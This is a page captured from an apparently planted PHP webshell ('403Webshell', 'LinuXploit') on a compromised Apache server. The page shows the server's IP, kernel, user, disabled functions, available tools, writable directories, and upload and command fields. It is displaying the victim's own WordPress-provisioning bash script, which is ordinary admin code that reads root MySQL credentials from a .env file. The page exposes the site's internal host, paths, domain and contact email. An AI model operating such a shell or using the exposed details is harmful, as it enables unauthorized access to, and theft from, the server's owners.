403Webshell
Server IP : 146.190.157.162  /  Your IP : 216.73.217.6
Web Server : Apache
System : Linux ubuntu-s-2vcpu-4gb-amd-sfo3-01-KIT-DIGITAL 6.5.0-44-generic #44-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 7 15:10:09 UTC 2024 x86_64
User : businessweek ( 639)
PHP Version : 8.2.10-2ubuntu2.2
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_signal,pcntl_signal_dispatch,pcntl_getpriority,pcntl_setpriority,dl,putenv,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wordpress-manager-v2/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wordpress-manager-v2/scripts/new-wordpress.sh
#!/bin/bash

# Cargar variables de entorno desde el archivo .env
set -a
source /var/www/html/wordpress-manager-v2/.env
set +a

# Archivo de log
LOG_FILE="/var/www/html/wordpress-manager-v2/logs/wordpress_new.log"
ZIP_BASE="/var/www/html/wordpress-manager-v2/zip"

exec > >(tee -a ${LOG_FILE} ) 2>&1
set -e

echo "Creating new WordPress installation..."

# Parámetros
project="$1"
mysqlhost=$WEB_HOST
mysqldbuser="10.124.0.2"
mysqldb="$2"
mysqluser="$1"
mysqlpassword=$(openssl rand -base64 16 | tr -d '/+=' | head -c 12)$(date +%s | sha256sum | head -c 4 | tr '0-9' 'A-Z')$(echo $RANDOM | tr -dc '0-9' | head -c 4)\!
builder="$3"

mysqlroothost=$MYSQL_ROOT_HOST
mysqlrootusername=$MYSQL_ROOT_USERNAME
mysqlrootpassword=$MYSQL_ROOT_PASSWORD

curl -O https://wordpress.org/latest.tar.gz
if [ $? -ne 0 ]; then
    echo "Error downloading WordPress."
    exit 1
fi

tar xzf latest.tar.gz
if [ $? -ne 0 ]; then
    echo "Error extracting WordPress."
    exit 1
fi

sudo mv "$(pwd)/wordpress" /var/www/html/$project
if [ $? -ne 0 ]; then
    echo "Error moving WordPress directory."
    exit 1
fi

sudo rm latest.tar.gz
if [ $? -ne 0 ]; then
    echo "Error removing latest.tar.gz."
    exit 1
fi

cd /var/www/html/$project
if [ $? -ne 0 ]; then
    echo "Error changing directory to /var/www/html/$project."
    exit 1
fi

sudo cp wp-config-sample.php wp-config.php
if [ $? -ne 0 ]; then
    echo "Error copying wp-config.php."
    exit 1
fi

sudo chown -R www-data:www-data /var/www/html/$project
if [ $? -ne 0 ]; then
    echo "Error changing ownership of /var/www/html/$project."
    exit 1
fi

sudo find /var/www/html/$project -type d -exec chmod 750 {} \;
if [ $? -ne 0 ]; then
    echo "Error setting directory permissions."
    exit 1
fi

sudo find /var/www/html/$project -type f -exec chmod 640 {} \;
if [ $? -ne 0 ]; then
    echo "Error setting file permissions."
    exit 1
fi

echo "Creating MySQL configuration..."

sudo sed -i "s/localhost/$mysqlroothost/" wp-config.php
if [ $? -ne 0 ]; then
    echo "Error setting hostname in wp-config.php."
    exit 1
fi

sudo sed -i "s/database_name_here/$mysqldb/" wp-config.php
if [ $? -ne 0 ]; then
    echo "Error setting database name in wp-config.php."
    exit 1
fi

sudo sed -i "s/username_here/$mysqluser/" wp-config.php
if [ $? -ne 0 ]; then
    echo "Error setting username in wp-config.php."
    exit 1
fi

sudo sed -i "s/password_here/$mysqlpassword/" wp-config.php
if [ $? -ne 0 ]; then
    echo "Error setting password in wp-config.php."
    exit 1
fi

# Crear la base de datos
echo "Creando la base de datos $mysqldb..."
mysql -h "$mysqlroothost" -u "$mysqlrootusername" -p"$mysqlrootpassword" -e "CREATE DATABASE $mysqldb;"
if [ $? -ne 0 ]; then
    echo "Error creando la base de datos."
    exit 1
fi

# Crear el usuario para la base
echo "Creando el usuario $mysqluser para la base $mysqldb..."
mysql -h "$mysqlroothost" -u "$mysqlrootusername" -p"$mysqlrootpassword" -e "CREATE USER $mysqluser@$mysqldbuser IDENTIFIED BY '$mysqlpassword';"
if [ $? -ne 0 ]; then
    echo "Error creando al crear el usuario $mysqluser para la base $mysqldb."
    exit 1
fi

# Asignando privilegios al usuario
echo "Asignando privilegios al usuario $mysqluser para la base $mysqldb..."
mysql -h "$mysqlroothost" -u "$mysqlrootusername" -p"$mysqlrootpassword" -e "GRANT ALL PRIVILEGES ON $mysqldb.* TO $mysqluser@$mysqldbuser;"
if [ $? -ne 0 ]; then
    echo "Error al asignar privilegios al usuario $mysqluser para la base $mysqldb."
    exit 1
fi

# Flush Privilegios
echo "Flush Privilegios al usuario $mysqluser para la base $mysqldb..."
mysql -h "$mysqlroothost" -u "$mysqlrootusername" -p"$mysqlrootpassword" -e "FLUSH PRIVILEGES;"
if [ $? -ne 0 ]; then
    echo "Error en Flush Privilegios"
    exit 1
fi

echo "Creating Apache2 configuration..."

sudo touch /etc/apache2/sites-available/$project.conf
if [ $? -ne 0 ]; then
    echo "Error creating Apache2 configuration file."
    exit 1
fi

echo "
<VirtualHost *:80>
    ServerAdmin dev@uosolutions.com
    ServerName $project.devuocloud.com
    DocumentRoot /var/www/html/$project

    <Directory /var/www/html/$project>
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
    </Directory>

    ErrorLog /var/log/apache2/$project-error.log
    CustomLog /var/log/apache2/$project-access.log combined
</VirtualHost>" | sudo tee /etc/apache2/sites-available/$project.conf > /dev/null

if [ $? -ne 0 ]; then
    echo "Error writing to Apache2 configuration file."
    exit 1
fi

sudo a2ensite $project.conf
if [ $? -ne 0 ]; then
    echo "Error enabling Apache2 site."
    exit 1
fi

echo "Crea usuario:grupo y corrige permisos del direstorio"
/var/www/html/wordpress-manager-v2/scripts/user-new.sh $project

sudo systemctl reload apache2
if [ $? -ne 0 ]; then
    echo "Error reloading Apache2."
    exit 1
fi

# Instalación de temas y plugins según la selección
if [ "$builder" == "elementor" ]; then
    echo "Installing Elementor and Hello theme..."

    if [ -f "$ZIP_BASE/elementor-pro.zip" ]; then
        sudo unzip -oq "$ZIP_BASE/elementor-pro.zip" -d "/var/www/html/$project/wp-content/plugins/"
    else
        echo "elementor-pro.zip no encontrado, omitiendo..."
    fi

    if [ -f "$ZIP_BASE/hello-elementor.zip" ]; then
        sudo unzip -oq "$ZIP_BASE/hello-elementor.zip" -d "/var/www/html/$project/wp-content/themes/"
    else
        echo "hello-elementor.zip no encontrado, omitiendo..."
    fi

elif [ "$builder" == "divi" ]; then
    echo "Installing Divi theme..."

    if [ -f "$ZIP_BASE/divi.zip" ]; then
        sudo unzip -oq "$ZIP_BASE/divi.zip" -d "/var/www/html/$project/wp-content/themes/"
    else
        echo "divi.zip no encontrado, omitiendo..."
    fi
fi

echo "Crea usuario FTP y asigna permisos"
# /var/www/html/wordpress-manager-v2/scripts/new-user-ftp.sh $project

# Añadir FS_METHOD si no existe en el wp-config.php del proyecto
if ! grep -q "define('FS_METHOD', 'direct');" /var/www/html/$project/wp-config.php; then
    sudo sed -i "/\/\* That's all, stop editing! Happy publishing. \*\//i define('FS_METHOD', 'direct');" /var/www/html/$project/wp-config.php
    if [ $? -ne 0 ]; then
        echo "Error añadiendo FS_METHOD en /var/www/html/$project/wp-config.php."
        exit 1
    fi
fi


echo "Instalando SSLS..."
sudo certbot --apache -d $project.devuocloud.com
if [ $? -ne 0 ]; then
    echo "Error instalando SSL."
    exit 1
fi

echo "Done."

Youez - 2016 - github.com/yon3zu
LinuXploit